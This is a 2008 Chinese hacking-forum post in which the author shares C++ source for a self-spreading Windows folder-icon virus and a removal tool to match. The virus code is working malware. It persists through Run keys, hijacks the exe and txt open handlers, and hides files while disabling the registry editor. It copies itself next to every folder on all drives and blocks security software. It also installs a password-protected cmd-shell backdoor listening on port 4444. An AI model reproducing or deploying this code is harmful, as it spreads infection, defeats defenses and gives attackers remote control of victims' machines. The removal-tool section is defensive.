| 关键词: nbsp 病毒 VirousName 文件 HKEY MessageBox 文件夹 注册表 Hijack windows |
注:本文首发邪恶八进制社区,欢迎转载,但请著名原始出处。一、大致情况介绍 "autorun.inf"传播的u盘病毒前一段时间可以说是轰轰烈烈,但随着一大批安全软件的封杀,基本上已经没有生存空间了。而文件夹图标病毒或木马就在这攻与防的对抗中应运而生了。 我在“windows xp sp3”平台下使用“visual c++ 6.0”实现了文件夹图标病毒(附带简单后门),以及相应的专杀工具。二、功能介绍 (1)病毒功能介绍: 1、开机自动运行,写注册表实现的 2、劫持(Hijack)“exe”和“txt”文件运行病毒,并实现正常运行“exe”文件和使用“notepad.exe”打开“txt”文件 3、当运行时,查找同目录下是否有同名的文件夹,若有则先打开文件夹 4、判断是否第一次运行,如果不是则退出,通过查找窗口名实现 5、隐藏文件扩展名,彻底隐藏系统属性和隐藏属性的文件,禁用注册表,写注册表实现 6、后台运行,查找磁盘文件夹,将自身复制到磁盘跟目录下,创建同名的病毒体,并将原文件夹设为系统属性和隐藏属性。 7、屏蔽常用安全工具,如“IceSword”、“wscheck”等,在打开“exe”文件时判断 8、释放后门程序,注册为开机自启动,后门在4444端口监听,使用nc连接,使用密码“FuckYou”能获得一个“cmd shell”。后门程序是用资源文件的形式加在病毒中的,并用upx加了壳。 (2)专杀功能介绍: 1、枚举磁盘,查找和隐藏属性文件夹同名的可执行文件,若有,则定为病毒 2、获取进程列表,查找进程中是否有病毒,若有,则关闭进程,并删除病毒文件,若无,则删除病毒文件 3、修复注册表,包括:启用注册表、开机启动项、隐藏文件项、劫持“exe、txt”文件项 4、立即生效功能,重启“explorer.exe”进程三、关键代码介绍: (1)病毒介绍: 1、打开同目录下同名文件夹:bool CVirousApp::OpenFuckFile(){ char CmdLine[MAX_PATH]={0}; char DirUrl[MAX_PATH]={0}; char HiJack[MAX_PATH]={0}; if(!GetCurrentDirectory(MAX_PATH,DirUrl)) return FALSE; char ch='\\'; if(ch!=*(DirUrl+strlen(DirUrl)-1)) { strcat(DirUrl,"\\"); } //此处只在系统根目录下有效 sprintf(HiJack,"%s%s\\",DirUrl,AfxGetApp()->m_pszAppName); //判断是否存在,可以打开 if(-1==_access(HiJack,0)) return FALSE; else { sprintf(CmdLine,"explorer.exe %s",HiJack); // MessageBox(CmdLine); //For a Test if(WinExec(CmdLine,SW_SHOW)<31) return FALSE; } return TRUE;} 2、劫持“txt、exe”文件,并屏蔽常用安全工具 //定义特征字符串 BOOL check=TRUE; int len=7; char *FuckExe[]={"USBCleaner", "Kis", "Kav", "IceSword", "Kill", "WSYSCHECK", "360"}; //获取参数并判断 if(strcmp(m_lpCmdLine,""))//如果有参数 { //判断特征字符串 int i; for(i=0;i<len;i++) { if(strstr(_strupr(_strdup(m_lpCmdLine)), _strupr(_strdup(FuckExe)))) { check=FALSE; break;} } // LPTSTR ext; // ext=wcschr(m_lpCmdLine,_T("."))+1; CString cmd; // if(!wcscmp(ext,_T("txt"))) if(strstr(m_lpCmdLine,_T(".txt"))||strstr(m_lpCmdLine,_T(".TXT"))) { cmd.Format("%s %s","notepad.exe",m_lpCmdLine); } else if(strstr(m_lpCmdLine,_T(".exe"))||strstr(m_lpCmdLine,_T(".EXE"))) { //此处不完美,判断文件名 if(!check) { // AfxMessageBox("文件已损坏!"); ::MessageBox(NULL,"文件已损坏!请重新安装应用程序!","Microsoft",MB_OK); return FALSE; } else cmd.Format("%s",m_lpCmdLine); } WinExec(cmd,SW_NORMAL); } else //打开文件 OpenFuckFile(); 3、自启动及实现劫持"exe、txt"文件 //向系统目录下拷贝程序 char FileSource[MAX_PATH]={0}; char FileNew[MAX_PATH]={0}; HMODULE hModule; hModule=GetModuleHandle(NULL); GetModuleFileName(hModule,FileSource,MAX_PATH); CloseHandle(hModule); GetSystemDirectory(FileNew,MAX_PATH); strcat(FileNew,"\\SysKernel.exe"); CopyFile(FileSource,FileNew,TRUE); SetFileAttributes(FileNew, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM); //写注册表,弄个自启动 WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "SysKernel",REG_SZ,FileNew,0,0); //写注册表,进行映像劫持 char Hijack[MAX_PATH]={0}; sprintf(Hijack,"%s %%1",FileNew); WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\txtfile\\shell\\open\\command", NULL,REG_SZ,Hijack,0,1); WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\exefile\\shell\\open\\command", NULL,REG_SZ,Hijack,0,1);4、释放后门,并启动之BOOL CVirousDlg::ReleaseResource(WORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName){ HGLOBAL hRes; HRSRC hResInfo; HANDLE hFile; DWORD dwBytes; hResInfo = FindResource(NULL, MAKEINTRESOURCE(wResourceID), lpType); if (hResInfo == NULL) return FALSE; hRes = LoadResource(NULL, hResInfo); if (hRes == NULL) return FALSE; hFile = CreateFile ( lpFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile == NULL) return FALSE; WriteFile(hFile, hRes, SizeofResource(NULL, hResInfo), &dwBytes, NULL); CloseHandle(hFile); return TRUE;}VOID CVirousDlg::ReleaseDoor(){ char strSystemPath[MAX_PATH]; GetSystemDirectory(strSystemPath, sizeof(strSystemPath)); lstrcat(strSystemPath, "\\SysService.exe"); ReleaseResource(IDR_BIN, "BIN", strSystemPath); SetFileAttributes(strSystemPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM); //实现后门自启动 WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "SysService",REG_SZ,strSystemPath,0,0); WinExec(strSystemPath,SW_HIDE);}5、遍历磁盘并拷贝自身//遍历系统磁盘BOOL CVirousDlg::FuckFile(){ DWORD dwNumBytesForDriveStrings;//实际存储驱动器号的字符串长度 LPSTR lp; CString strLogdrive; //获得实际存储驱动器号的字符串长度 dwNumBytesForDriveStrings=GetLogicalDriveStrings(0,NULL);//*sizeof(TCHAR); //如果字符串不为空,则表示有正常的驱动器存在 if (dwNumBytesForDriveStrings!=0) { lp=new char[dwNumBytesForDriveStrings]; GetLogicalDriveStrings(dwNumBytesForDriveStrings,lp); while (*lp!=0) { DoBad(lp); lp=strchr(lp,0)+1; } return TRUE; } else return FALSE;}//干坏事VOID CVirousDlg::DoBad(char DriveBuf[]){ CFileFind finder; // build a string with wildcards CString strWildcard(DriveBuf); strWildcard += _T("*.*"); char FileSource[MAX_PATH]={0}; char FileNew[MAX_PATH]={0}; HMODULE hModule; hModule=GetModuleHandle(NULL); GetModuleFileName(hModule,FileSource,MAX_PATH);// CloseHandle(hModule); // start working for files BOOL bWorking = finder.FindFile(strWildcard); while (bWorking) {// nReg++; bWorking = finder.FindNextFile(); // skip . and .. files; otherwise, we'd // recur infinitely! if (finder.IsDots()) continue; // if it's a directory, recursively search it if (finder.IsDirectory()&&!finder.IsSystem()&&!finder.IsHidden()) { nReg++; if(!SetFileAttributes(finder.GetFilePath(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM)) continue; sprintf(FileNew,"%s%s",finder.GetFilePath(),".exe"); CopyFile(FileSource,FileNew,TRUE); if(FUCKREG==nReg) { WriteReg(FileNew); } } } finder.Close();} (2)专杀工具介绍: 1、扫描并杀灭病毒void CKillDlg::OnOK() { GetDlgItem(IDOK)->EnableWindow(FALSE); // TODO: Add extra validation here //获取进程列表 GetProcessArray(); KillInterVirous(); //开始扫描文件 DWORD dwNumBytesForDriveStrings;//实际存储驱动器号的字符串长度 HANDLE hHeap; LPSTR lp; //获得实际存储驱动器号的字符串长度 dwNumBytesForDriveStrings=GetLogicalDriveStrings(0,NULL)*sizeof(TCHAR); //如果字符串不为空,则表示有正常的驱动器存在 if (dwNumBytesForDriveStrings!=0) { //分配字符串空间 hHeap=GetProcessHeap(); lp=(LPSTR)HeapAlloc(hHeap,HEAP_ZERO_MEMORY, dwNumBytesForDriveStrings); //获得标明所有驱动器的字符串 GetLogicalDriveStrings(HeapSize(hHeap,0,lp),lp); //将驱动器一个个放到下拉框中 while (*lp!=0) { //在此磁盘下扫描 KillFile(lp); lp=_tcschr(lp,0)+1; } CString VirReport; VirReport.Format("%s%d%s","杀毒结束,共杀毒:",VirousNum,",请进行注册表修复!"); MessageBox(VirReport); } else MessageBox("Can't Use The Function GetLogicalDriveStrings!"); GetDlgItem(IDOK)->EnableWindow(TRUE); GetDlgItem(ID_FIXREG)->EnableWindow(TRUE);// CDialog::OnOK();}//杀灭正在运行的病毒void CKillDlg::KillInterVirous(){ KillVirous("C:\\WINDOWS\\system32\\SysKernel.exe"); KillVirous("C:\\WINDOWS\\system32\\SysService.exe"); KillVirous("C:\\WINDOWS\\system32\\XP-D41D8CD9.EXE");}void CKillDlg::KillFile(char DriveName[]){ CString VirousName; CFileFind finder; // build a string with wildcards CString strWildcard(DriveName); strWildcard += _T("*.*"); // start working for files BOOL bWorking = finder.FindFile(strWildcard); while (bWorking) { // nReg++; bWorking = finder.FindNextFile(); // skip . and .. files; otherwise, we'd // recur infinitely! if (finder.IsDots()) continue; // if it's a directory, recursively search it if (finder.IsDirectory()&&finder.IsHidden()) { VirousName=finder.GetFilePath(); if("\\"==VirousName.Right(1)) VirousName=VirousName.Left(VirousName.GetLength()-1); VirousName+=".exe"; if(_access(VirousName,0)!=-1) { VirousNum++; m_ctrlListVirous.AddString(VirousName); UpdateData(FALSE); KillVirous(VirousName); SetFileAttributes(finder.GetFilePath(),FILE_ATTRIBUTE_NORMAL); } } } finder.Close(); }//删除染毒文件void CKillDlg::KillVirous(const char VirousName[]){ if(CheckRun(VirousName)) { HANDLE hProcess; hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId[num]); if(!hProcess) MessageBox("打开病毒进程失败!"); if(!TerminateProcess(hProcess,100)) MessageBox("无法结束病毒进程!"); Sleep(100); } SetFileAttributes(VirousName,FILE_ATTRIBUTE_NORMAL); // Sleep(100); if(!DeleteFile(VirousName))// MessageBox("无法删除病毒文件!"); return;}//检查病毒是否运行,是:TRUE 否:FALSEbool CKillDlg::CheckRun(const char VirousName[]){ CString strVirName=strrchr(VirousName,'\\')+1; for(int i=0;i<m_Process.GetSize();i++) { if(!m_Process.GetAt(i).CompareNoCase(strVirName)) { num=i; return TRUE; } } return FALSE;} 2、获取进程列表void CKillDlg::GetProcessArray(){ //初始化 HANDLE hProcessSnap = NULL; PROCESSENTRY32 pe32 = {0}; //获得句柄 hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hProcessSnap == (HANDLE)-1) { MessageBox("CreateToolhelp32Snapshot()failed!"); return; } pe32.dwSize = sizeof(PROCESSENTRY32); //列举所有进程名称 if (Process32First(hProcessSnap, &pe32)) { do { //将进程名加到列表中 m_Process.Add(pe32.szExeFile); // dwProcessId.Add(pe32.th32ProcessID); dwProcessId[m_Process.GetSize()-1]=pe32.th32ProcessID; if(strstr(pe32.szExeFile,"explorer.exe")) explorerId=pe32.th32ProcessID; } while (Process32Next(hProcessSnap, &pe32));//直到列举完毕 } else { MessageBox("Process32Firstt() failed!"); } //关闭句柄 CloseHandle (hProcessSnap); } 3、修复注册表void CKillDlg::OnFixreg() {// GetDlgItem(ID_FIXREG)->EnableWindow(FALSE); GetDlgItem(ID_FIXREG)->EnableWindow(FALSE); Sleep(100); // TODO: Add your control notification handler code here //解锁使用注册表 WriteRegEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableRegistryTools",REG_DWORD,NULL,0,1); //修复显示隐藏文件 WriteRegEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL", "CheckedValue",REG_DWORD,NULL,1,1); //显示文件扩展名 WriteRegEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", "HideFileExt",REG_DWORD,NULL,0,1); //修复映像劫持 char Hijack[MAX_PATH]={0}; sprintf(Hijack,"%s %%1","c:\\windows\\notepad.exe"); // MessageBox(Hijack); WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\txtfile\\shell\\open\\command", NULL,REG_SZ,Hijack,0,1); ZeroMemory(Hijack,MAX_PATH); sprintf(Hijack,"\"%%1\" %%*"); WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\exefile\\shell\\open\\command", NULL,REG_SZ,Hijack,0,1); //删除自动启动 if(!WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "SysKernel",REG_SZ,NULL,0,3)) {}// MessageBox("请先扫描病毒或已经清除!"); if(!WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "SysService",REG_SZ,NULL,0,3)) {}// MessageBox("请先扫描病毒或已经清除!"); //对付1.44M的病毒 if(!WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "XP-D41D8CD9",REG_SZ,NULL,0,3)) {} MessageBox("修复注册表成功!请点击立即生效!");// GetDlgItem(ID_FIXREG)->EnableWindow(TRUE); GetDlgItem(ID_EXPLORER)->EnableWindow(TRUE);}// 写注册表的指定键的数据(Mode:0-新建键数据 1-设置键数据 2-删除指定键 3-删除指定键项) from NameLess114int CKillDlg::WriteRegEx(HKEY MainKey, LPCTSTR SubKey, LPCTSTR Vname, DWORD Type, char *szData, DWORD dwData, int Mode){ HKEY hKey; DWORD dwDisposition; int iResult =0; __try { // SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS); switch(Mode) { case 0: if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS) __leave; case 1: if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS) __leave; switch(Type) { case REG_SZ: case REG_EXPAND_SZ: if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS) iResult =1; break; case REG_DWORD: if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS) iResult =1; break; case REG_BINARY: break; } break; case 2: if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS) __leave; if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS) iResult =1; break; case 3: if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS) __leave; if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS) iResult =1; break; } } __finally { RegCloseKey(MainKey); RegCloseKey(hKey); } return iResult;}四、后记 这是偶第一次在八进制论坛发帖,欢迎大家批评指正,也希望结交广大爱好网络安全的朋友。 偶的QQ:971210984 邮箱:[email protected] 文件夹图标病毒及专杀工具的源文件见附件。 var tagarray = ['A1Pass','免杀','逆向工程','杀毒软件原理','三步走','EXP','ms08-067','讨论','内网','架构','感染','资源','捆绑','XSS','误区','ms08067','核心溢出','UTF-8','Tomcat','Apache','西天','唐僧','灌水','取经','MyCcl','密码效验和','ratproxy','90hackit','rsa','EasyRecovery','DataExplorer','Serv-U','Buffer','Office','WPS','Overflow','Microsoft','内核编程','DDoS','Ghost','数据恢复','手机号','收集','源代码','隐藏驱动','百度','驱动编程','机器狗','Oracle','招聘','猎头','属主','IIS'];var tagencarray = ['A1Pass','%E5%85%8D%E6%9D%80','%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B','%E6%9D%80%E6%AF%92%E8%BD%AF%E4%BB%B6%E5%8E%9F%E7%90%86','%E4%B8%89%E6%AD%A5%E8%B5%B0','EXP','ms08-067','%E8%AE%A8%E8%AE%BA','%E5%86%85%E7%BD%91','%E6%9E%B6%E6%9E%84','%E6%84%9F%E6%9F%93','%E8%B5%84%E6%BA%90','%E6%8D%86%E7%BB%91','XSS','%E8%AF%AF%E5%8C%BA','ms08067','%E6%A0%B8%E5%BF%83%E6%BA%A2%E5%87%BA','UTF-8','Tomcat','Apache','%E8%A5%BF%E5%A4%A9','%E5%94%90%E5%83%A7','%E7%81%8C%E6%B0%B4','%E5%8F%96%E7%BB%8F','MyCcl','%E5%AF%86%E7%A0%81%E6%95%88%E9%AA%8C%E5%92%8C','ratproxy','90hackit','rsa','EasyRecovery','DataExplorer','Serv-U','Buffer','Office','WPS','Overflow','Microsoft','%E5%86%85%E6%A0%B8%E7%BC%96%E7%A8%8B','DDoS','Ghost','%E6%95%B0%E6%8D%AE%E6%81%A2%E5%A4%8D','%E6%89%8B%E6%9C%BA%E5%8F%B7','%E6%94%B6%E9%9B%86','%E6%BA%90%E4%BB%A3%E7%A0%81','%E9%9A%90%E8%97%8F%E9%A9%B1%E5%8A%A8','%E7%99%BE%E5%BA%A6','%E9%A9%B1%E5%8A%A8%E7%BC%96%E7%A8%8B','%E6%9C%BA%E5%99%A8%E7%8B%97','Oracle','%E6%8B%9B%E8%81%98','%E7%8C%8E%E5%A4%B4','%E5%B1%9E%E4%B8%BB','IIS'];parsetag(); 附件 Virous.rar (3.4 MB) 2008-12-18 11:37, 下载次数: 1106 文件夹图标病毒 Kill.rar (3.31 MB) 2008-12-18 11:37, 下载次数: 2329 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|